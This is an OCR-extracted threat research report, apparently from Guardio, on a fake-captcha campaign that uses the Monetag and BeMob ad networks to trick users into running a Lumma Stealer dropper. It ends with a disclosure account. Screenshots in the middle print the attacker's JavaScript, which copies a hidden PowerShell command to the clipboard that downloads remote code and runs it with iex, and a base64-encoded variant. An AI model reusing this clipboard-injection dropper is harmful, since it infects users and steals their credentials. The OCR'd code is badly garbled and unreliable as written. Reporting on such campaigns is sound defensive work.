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The Fake-Captcha Lumma Stealer Campaign

For several weeks, a large-scale deceptive campaign has leveraged a cunning technique: tricking users into
installing dangerous stealer malware via a captcha verification page. This seemingly legitimate captcha page
appears unexpectedly as you browse a content site, perfectly mimicking a real verification process. It asks you to
confirm you’re human through a series of keyboard clicks, which ultimately trigger the Run dialog on your
Windows system. Unknowingly, you paste and execute a cleverly crafted PowerShell command, instantly
installing stealer malware that targets your social accounts, banking credentials, passwords, and personal files.

Vicious, effective, and dangerously evasive!

Despite recent news coverage, the question remains: How does a fake captcha suddenly appear, tricking

unsuspecting users into executing a malicious PowerShell command under the guise of verifying their human
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identity? What keeps this campaign not only active but thriving?

Verify You Are Human

Please verify that you are a human to continue.

‘ I'm not a robot

The fake captcha flow — forcing site visitors to unknowingly execute a PowerShell command

What are we overlooking? It’s not solely the clever disguise of captcha imitation that marks the success of this
campaign. The real concern lies in how this perilous page makes its way onto our screens. The answer is
malvertising — malvertising on steroids. This initial deceit is just the surface; the ad network underlying

mechanics reveal a darker, more complex web of digital threats.

Ad-Networks As Enablers

Since the early days of the internet, advertising has been a cornerstone, growing increasingly vital over the years.
For instance, in 2023, almost 70% of Google’s revenue stems from advertisements, highlighting the lucrative

nature of this industry.

However, the ad tech industry has also taken a darker turn, becoming a prominent channel for malicious activities.
Examples abound, from fake e-commerce sites advertised on Facebook to deceptive “Download” buttons that

deliver unexpected software and even rogue sponsored results in Google.

The responsibility often falls on Ad Networks. These services form the link between advertisers seeking to sell
products or services and website publishers looking to monetize available space. Ad networks handle the coding,

analytics, and management necessary for both parties.
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The process is straightforward: website owners register with an ad network, receive code snippets to integrate into
their sites, creating “Advertisement Zones.” These zones, when activated, direct traffic to the network’s Traffic
Distribution System (TDS), which houses numerous domains and redirectors. The system then selects the most
optimized advertisement to display based on visitor analysis, campaign budgets, and settings — all in
milliseconds. The advertisers focus on optimizing landing pages for conversion, while website owners collect their

earnings.
Evolving From Advertising to Malvertising Captchas

Ad networks have proven exceptionally successful; they are fine-tuned machines built from the ground up to
distribute traffic on a massive scale, from advertisers to internet users across a vast ecosystem of websites. But

what happens when advertisers are replaced with threat actors? Yea, you’re right—we get Malvertising.

Many active ad networks are raising alarms with the content they distribute today. Although they don’t have sole
control or responsibility for this content, the overtly malicious intent and scale of the activities exploiting their

networks are too significant to ignore or absolve them of all responsibility.
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A visitor activating an ad-placement process and the ad network selecting the target creative (good
or bad)

The scenario above is a real-life example of how just three simple clicks on an ostensibly benign website can lead
you down an unexpected path—perhaps when you only want to watch a movie. But will you actually get to see

that movie? Unfortunately, that’s far from guaranteed...

Fake-Captcha’s Malvertising: End-2-End Analysis

This Fake Captcha campaign might be the holy grail study case of how ad networks fuel the mass distribution of
today’s malicious activity. Analysis shows that all the traffic directed to fake captcha pages came from ad clicks—

thus, this entire campaign is based on malvertising! But who is behind this ad network abuse?

Upon examining the ad-related scripts embedded on these sites, it became clear that they originate from a single
ad network service. These scripts lead to thousands of domains with odd names but share common parameters.
Through a detailed examination of DNS fingerprints, server IPs, and locations, we linked these domains to
“Omnatuor/Vane Viper” — a threat actor previously discovered and since tracked by our friends at Infoblox.
Notably, this isn’t the first instance of this ad network being associated with the distribution of malicious content.

Surprised?
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Example of a full fake captcha malvertising attack flow including all services in use

In collaboration with Infoblox and through meticulous deobfuscation of JavaScript snippets responsible for
triggering ad events, we identified the ad network service responsible—Monetag. Monetag is a subsidiary of

PropellerAds, a large ad network company based in Cyprus. As with Infoblox’s analysis, PropellerAds activity had

already come up on the radar of the cyber security community in the past.

Another crucial clue further in the flow is a redirect chain from a Monetag TDS domain to another unique URL
pattern. This is yet another TDS from a specific service called BeMob, an advertisment tracking service, as we
realized quite quickly from the DNS’s A-Records pattern ( xxxx.bmtrck.com ) that is shared to all those domains:
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Revealing the TDS behind the fake captcha cloaking mechanism via DNS records

Ad tracking, like BeMob provides, is quite a common service for ad campaigns. Although we can think the threat
actor would like to track and optimize their “advertisement” campaign via a service like this — this is not the case
here. It is used solely for cloaking. By supplying a benign BeMob URL to Monetag’s ad management system
instead of the direct fake captcha page, the attackers leveraged BeMob’s reputation, complicating Monetag's
content moderation efforts. We’ve seen this practice many times in the past and in various variants, just like

MasquerAd-ing on Google.
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: : Prd o
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Ad Click Creative URL Redirect Before
— Moderation
+»
Redirect Post
BeMob URL set as bigeghpn —
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Cloaking in action — Moderator sees a benign creative seemingly changed to malicious upon

activation

This BeMob TDS finally redirects to the malicious captcha page, hosted on services like Oracle Cloud, Scaleway,
Bunny CDN, EXOScale, and even Cloudflare’s R2 itself! What would Alanis Morissette say about that?!
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Please verify that you are a human to continue.
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Performance & security by Cloudflare

A Cloudflare-themed fake captcha page hosted on... Cloudflare R2 storage!

The ability to propagate in scale using an ad network and cloaking their intent using yet another ad service allows
this campaign to gain traction and keep on going. Moreover, the malicious pages are frequently updated with new
variants to evade detection. Those use different PowerShell one-liners, different script obfuscation to copy the

PowerShell script to the clipboard, as well as changes in visual design:

€ > C 2 sos-at-vie-1.exc.io/hnov/prps/captcha-v1-paracms-111html

g &0
fF L0  FElements Console Sources Network Performance Memory > @17 A1 B 8
P <styles oo </styler o
</head>
¥ cbody> (f1ex
¥ <div class="container dimmed" id="captchaContainer">
<img src="https: tat: i2/logo 48.png” alt="reCAPTCHA logo">

<h13reCAPTCHA v2¢/hl>

<p>Please verify that you're not a robot by checking the box below.</p>
¥ <div class="recaptcha-button" id="verifyButton"> riex

<img srem"https: tatic.com, logo_48.png" alt="reCAPTCHA LOgo™>
<span>I'm not a robot</spans
</div>
¥ <div class="footer"> @ < /div>
<rdivy

<div class="overlay" id="overlay" style="display: block;"></div>
¥ <div class="recaptcha-popup" ids"recaptchabopup” style="display: block;">
chs>Verification Stepsc/h3>
A
"1. Press Windows Button "
<i class="fab fa-windows"></i>

Verification Steps

1. Press Windows Button ™' + R

g
</p>
2. Press CTRL+V <pr2. Press CTRL + V</p>
e
& Prass Gty <p>3. Press Enterc/p>
</diw>
¥ <script>
g p o “verifvautton'). addeventidstener (*click', function() {
store. 1.al

le/paracms. txt'; Sresponse = Invoke-
WebRequest -Uri Surl -UseBasicParsing; Stext = Sresponse.Content; iex Stext';

const codeToCopy = "powershell.exe -W Hidden -command Surl = "https://zip- ]

textArea.value = codeToCopy;

PowerShell one-liner Rt Thikes R
dropper for Lumma-Stealer e
copied to your clipboard by bnbipicdiots o] captehacontainer) .classList. add(*dimned);

this JS snippet docunent. getElenentsyTd(‘overlay').style.display = “block';
d nt " p pup').style.display = "block’;
1 == 58
</seripts
</body>
</html>

The JS snippet on fake captcha page copying the malicious PowerShell one-liner to clipboard
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<1DOCTYPE html>
<html lang="en"> flex
¥ <head> - </head>
v <body data-new-gr-c-s-check-loaded="14,1209.0" data-gr-ext-installed>  flex
b<div class="container's </divs
vescripts
funce £u) I

const textToCopy = 'POWERSHELL ~W hIDJEN
[Text.Encading]: :UTF8.Getstring( [Convert]: : Frongasesast ring (' aWv4IChpd3Ig]2hocHB2018vaNRS YWBUb3NZLWFWLWSYCnROZW 2dCoxLNFs XL 1bm
| iex™;

canst a = document. "teRvagea”);
tenpTextArea.value = textTaCopys

document. body. appendChild(tempTextArea);
tenpTextArea.select();

dacument . execCommand (" copy™) ;

dacument . body. removeChild(tempTextArea) ;

Later variant with some

canst recap pup = document.g "recapt|

const overlay = document. getELementByld("over lay"); unsuccessful tries to hide
recaptchaPopup. classList.add("active");
. overtop.closatist.sadlractivern; the Powershell command
Verify You Are Human )
o N const verifyButton = document.getElementById('verifyButton');
Please verify that you are a human to continue. verifyButton.addEventListener( 'click®, verify); = $6

</script>

</bedy>
» <grammarly-desktop-integration data-gramnarly-shadow-root="true"> = </grammarly-desktop-integration>
‘ I'm not a robot </html>

Another JS snippet variant introduced later on, trying (unsuccessfully) to hide its real intent

The numbers are quite astonishing. Over just the past ten days, our analysis estimated up to 1M “ad impressions”
per day, arriving from around 3000+publisher sites. Some use the popup script that creates new tabs on any click,
and some are designed from the ground up to redirect users to “direct links” — a special URL provided by

Monetag to trigger an ad event.

As we delve deeper into the distribution method known as malvertising, it becomes clear how intricate
and complicated the fake captcha campaign truly is. Yet, the core operations heavily rely on the ad

network — essentially, their standard business practice is transformed for malicious use.

This investigation sets the stage for a deeper exploration of the ad network’s ecosystem. How have they cultivated
such a robust, active network of publishers in the first place? Let’s start with analyzing what stands behind the

scenes of this distribution ecosystem...

The Publishers: Pirated Content and Click-Baits

An ad network is only as effective as its funnel of users. With Monetag’s vast catalog of publishers, the “infection
chain” begins with a plethora of websites. Yet, most of them share some characteristics that raise questions about

their nature and origin.

In our analysis, we identified approximately 3,000 publisher sites actively using Monetag ad-zone scripts in the
last ten days. These scripts track visitors and trigger intrusive actions such as push notifications and new tab pop-

ups. For instance, the anime site “hianime[.]Jto” alone garnered over 100k+ unique visits last month. Looking at

the overall list shows interesting classifications that can teach us a lot about this activity:
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Monetag Enabled Publisher Sites [Category / Traffic]
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Monetag’s Publisher sites in the past 10 days by categories perc. of total combined traffic

Visitors seeking anything from streaming videos to downloading academic documents inadvertently land on these
sites. A simple search like “ stream anime ” can lead directly to these cloned sites, prominently positioned in

Google search results due to aggressive SEO (Search Engine Optimization):

Search for Content
GO gle stream anime X L = Q
What to Wateh ¢ sesmrenses ey Losm rore e

Aggressive SEO Optimization

@ AniWatch
https:/aniwatehtv.to
Watch Anime Online, Free Anime Streaming Online on ...

Aniwatch is a Free anime streaming website which you can watch English Subbed and Dubbed
Anime online with No Account and Daily update. WATCH NOW!

» !
‘Sanimo - Waich Animo onlino with DUB and SUB for FREE

ok GUARNTEED!
P ——

Ot i bt WATCH

hianime.to
9animetv.to
aniwatchtv.to

Popups/PopUnders

Push Notifications m o n tq g

A real example of powerful SEO - First Google Search results pointing to a Monetag-enabled site
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But the machinations don’t stop there. Monetag also promotes the use of direct links, which circumvent the need
for a website entirely. Imagine the myriad ways to deploy these links: social media posts, instant messages,

deceptive website buttons, or even ad-ware attacks that forcibly open browser windows on your system without

your acceptance.

facebook :
Translation: I
B 5 onor “Unfulfilled desire full
e i e video link”
e fofSa fefes:
(hnps://ak.oobsaurt.nel/A/?B‘l6290)

/ https://shorter.me/RsHss

W4 mian Brand 3
vl [/nabauxou.net/4/6766407
50000 win cash

=MD abdul Ahad I= @al
ChinaBizHub

$100 free signup @

Jfalmstda tv/4/6642407

//nabauxou.net/4/6642399

s

Jigreewepi.net/4/6642406
— ,
10w Like Reply Seetranslation 4@y X

<PropellerAds

VirusTotal: Monetag’s TDS domains direct link to Android/Desktop adware as well as Propeller-

Ads infra

So, who operates these sites? Are they legitimate businesses or mere facades for illicit earnings? While no
definitive evidence proves the latter, the uniformity across many sites suggests a coordinated effort. Many

websites, appearing unique at first glance, share identical content and layouts, either translated or slightly

tweaked:
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Copy-Paste Content Site Kits for Streaming

Public repositories on GitHub even offer ready-to-deploy website templates that require only the insertion of ad

script codes:

.
= () mwlayermovies Q. Type [7)to search +- @ n e

[0 Overview ] Repositories 8 [ Projects @ Packages ¢ Stars

Find a repository. Type - Language - Sort -
‘ ‘ movies-online pubie ] o
JavaScriot  Updated onNov 2 A

cloudflare Puviic fr str -
‘ ' Javascript  Updated on Nov 1
. 123moviesonline Public o sar | - w
mxplayermovies
@HIML  Updated on Oct 2 A
Follow
Block or Report
movielink #usiic fr Star | -
Undated onSep 8
Just pick a template
) ) update the ad-script
justwatchonline puotic 1 Star and deploy‘
JavaScript  Updated on Aug 31 A i
32 /7 /7 set a timeout to load the ad code after 15 seconds
33 // setTimeout(loadAdCode, 10000); // 15000 millisecends = 15 seconds
34
35 /[ <script src{\ttps://alwmqutla.cnm/ﬂ&/(ac;‘mn.]5" datafzmne:“QZABBD ic data-cfasync="false"></script>
36
37 // Function to load the ad code

Example of a repo providing several streaming site kits with ready-to-go Monetag integrations

There are so many streaming websites offering the latest movies — some of which have not even been released

yet! And all this clickbaity content is offered to you free of charge.

If you want to get even more conspiratorial, you can argue that this entire ecosystem of publisher sites is fueled by

the ad network itself, providing site templates, SEO optimizations, and maybe even the content itself, like pirated
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movies and live sports game streams. We are not saying this is the case, but one should judge for themselves:

Look at this “service” offering a ready-to-use video player loaded with unlimited movies that integrate seamlessly
into any site. Under the hood, this video player iframe uses Monetag ad scripts to monetize this traffic directly

from the ad network:

<Embed>  Deme

Video Streaming API
With Minimal Ads

310131

The Witch 2015

_ Just create an
iframe in your site

with any movie ID!

1. Movie Embed URL

Documentation Use TMDB or IMDB ID for movie ID

Embed.su API give you the Endpoint

lowdown on all the methods, - X
‘ © https://embed. su/embed/movie/{tmdb_id} D
request formats, and both

required and optional

parameters. 2. TV Show Embed URL

Use TMDB or IMDB ID for TV Show ID

Endpoint

https://embed.su/embed/tv/{tmdb_id}/{season_number},

Online service providing unlimited video libraries in an iframe —with integral Monetag

monetization

This service’s ubiquity across multiple web pages (and site templates ready to deploy as mentioned above)

suggests a systematic strategy to amplify traffic and, consequently, ad revenue.
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@ Streaming Service Monetization

g

Ad Click .,

“Streaming As a Service” Publisher Site

@ <iframe>
I

https://embed.su/embed/movie/885...

mon<:tag

m DAd Scri;“: Ad Click' ™

(® Publisher Monetization

Double the fun — both video service as well as the content site monetize on Monetag

Ha, and what about sites that never intended to monetize their content, not to say, to infect their visitors with
stealers? A branch of the publishers’ ecosystem is just compromising WordPress sites (and others, of course) to

inject their Monetag scripts directly in there. Talking about passing the buck....

Reflecting on the broader scope, the scale of potential manipulation and malvertising becomes even more daunting
if we consider all other active ad networks combined. The statistics are so against us — if you look for content,

you will probably land on a shady ad network-enabled website quite instantly...

A Mind Game of Plausible Deniability

In such campaigns, responsibility is fragmented among numerous parties — each playing a role yet avoiding full
accountability. From the threat actor (the ad network customer) to everyday internet users (the victims), a single
ad click sets off a chain reaction involving multiple service providers, domains, servers, and stakeholders — all

within milliseconds:
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The chain of responsibility — how a malvertising campaign abuses the entire ads eco-system

So, who is to blame? Who is turning a blind eye, acting irresponsibly, or perhaps even complicit? The reality is

that responsibility is widely shared, but each player in this ecosystem has a convenient excuse:

e The Ad Network claims it cannot moderate the creative content because it’s cloaked behind an ad statistics
service. Yet, moderation post-approval, not just during initial configuration, is entirely possible.

e The Ad Tracking Service argues it’s merely an analytics tool, leaving the advertiser and ad network
responsible for the creative. With cloaking techniques, the advertiser can swap the creative after approval,
avoiding detection.

o The Publishers insist they’re simply monetizing their websites via third-party services like ad networks,
distancing themselves from the malicious creatives delivered to their visitors.

o The Hosting Services that provide the infrastructure for these malicious pages largely claim ignorance.

But are they also part of the willful negligence that perpetuates this ecosystem?
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This fragmented chain of ownership creates a perfect storm of plausible deniability, making it

exceptionally difficult to pinpoint and enforce accountability. It’s a system designed to shift blame

while allowing malicious campaigns to thrive.

Responsible Disclosure

We reached out to Monetag and BeMob, disclosing all IOCs associated with their TDSs, and both acted to stop the

campaign’s propagation. Monetag, the primary propagation channel abused for this campaign, responded on
November 28th, 2024, removing over 200 accounts linked to the threat actor. While this action effectively halted
the campaign on their platform, it took eight days from our initial disclosure to implementation. Similarly, BeMob
responded within four days, removing accounts used for cloaking. These swift actions highlight how quickly a

major malvertising campaign can be dismantled when taken seriously.
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Approx. Fake Captcha page views in the past 2 weeks: Disclosure Milestones

We appreciate Monetag and BeMob’s prompt responses and willingness to act decisively. However, this campaign
underscores the need for stronger proactive measures. Ad networks must prioritize ongoing content moderation,
robust account validation to prevent fake registrations, and more accessible reporting mechanisms for the
cybersecurity community. Waiting for external reports to address such abuses is not enough. These systems

require continuous oversight to protect not just their clients but all internet users.

Monetag shared valuable insights about the threat actor’s abuse of their network, including the use of falsified

documents and hundreds of fraudulent accounts. Their official response is included below:

“At Monetag, we take the security of our network, publishers, and users extremely seriously. Upon
identifying malicious activities, we acted swiftly to ban over 200 accounts linked to the abuse. We
remain committed to strengthening our defenses, working collaboratively with researchers like Guardio,
and refining our processes to minimize abuse on our platform. The safety and integrity of our

ecosystem are paramount, and we will continue investing in measures to mitigate threats effectively.”

(Monetag)

Lastly, if you noticed something curious in the activity graph above - you’re not mistaken. The campaign may
have paused for a few days, but its value to the threat actors proved too enticing to abandon. They’re back — this
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time leveraging both Monetag once again as well as other ad networks. Rest assured, we’ll continue monitoring

and addressing this evolving threat:

[~ Approx. Fake Captcha Page Views

~1,000,000 Hits

Back in action!

Actions Taken By \
Monetag/BeMob
Downtime

LS U o L g s Lt~ s g g Ll L s U e s N s s 0
11\%191111.111%1@1 5 107. .1.11.31. 7’5@1’.1911 W

S Bs
o N o 2T T @ P o o o
o n*‘ w00 0P 0 o P 0P e e e e ‘mf‘ o et ™ oo e oo e e e e ol e oe° o oe”

Approx. Fake Captcha page views in the past 2 weeks: downtime and resurrection

Final Thoughts

From deceptive publisher sites offering pirated or clickbait content to complex redirect chains and cloaking
techniques, this campaign underscores how ad networks, designed for legitimate purposes, can be weaponized for
malicious activities. The result is a fragmented chain of responsibilities, with ad networks, publishers, ad statistics

services, and hosting providers each playing a role yet often avoiding accountability.

This fake captcha campaign is just one example that exposes the darker side of the internet’s advertising
ecosystem. While advertising is a cornerstone of the modern internet, the same ecosystem now faces a significant

conflict of interest — creating a security gap that leaves users vulnerable.

At Guardio, we continuously reveal, track, and analyze attack vectors exploiting foundational internet traffic
systems, with ad networks being a prominent example. The takeaway is simple: be cautious of websites offering
FREE content you would otherwise pay for. As we always say — there’s no such thing as a free gift on the

internet.
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